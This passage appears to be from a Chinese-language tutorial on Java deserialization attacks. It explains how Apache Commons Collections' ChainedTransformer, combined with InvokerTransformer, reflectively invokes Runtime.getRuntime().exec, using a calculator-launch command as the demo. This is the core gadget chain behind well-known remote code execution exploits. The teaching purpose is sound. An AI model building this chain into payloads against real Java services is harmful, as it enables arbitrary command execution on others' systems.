org.apache.commons.collections.functors.ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformertransform方法。

    ChainedTransformer.java:

    1. public class ChainedTransformer implements Transformer, Serializable {
    2. /** The transformers to call in turn */
    3. private final Transformer[] iTransformers;
    4. // 省去多余的方法和变量
    5. public ChainedTransformer(Transformer[] transformers) {
    6. super();
    7. iTransformers = transformers;
    8. }
    9. public Object transform(Object object) {
    10. for (int i = 0; i < iTransformers.length; i++) {
    11. object = iTransformers[i].transform(object);
    12. }
    13. return object;
    14. }
    15. }

    使用ChainedTransformer实现调用本地命令执行方法:

    1. public static void main(String[] args) {
    2. // 定义需要执行的本地系统命令
    3. String cmd = "open -a Calculator.app";
    4. Transformer[] transformers = new Transformer[]{
    5. new ConstantTransformer(Runtime.class),
    6. new InvokerTransformer("getMethod", new Class[]{
    7. String.class, Class[].class}, new Object[]{
    8. "getRuntime", new Class[0]}
    9. ),
    10. new InvokerTransformer("invoke", new Class[]{
    11. Object.class, Object[].class}, new Object[]{
    12. null, new Object[0]}
    13. ),
    14. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
    15. };
    16. // 创建ChainedTransformer调用链对象
    17. Transformer transformedChain = new ChainedTransformer(transformers);
    18. // 执行对象转换操作
    19. transformedChain.transform(null);
    20. }

    通过构建ChainedTransformer调用链我们最终会使用InvokerTransformer来完成反射调用Runtime.getRuntime().exec(cmd)的逻辑。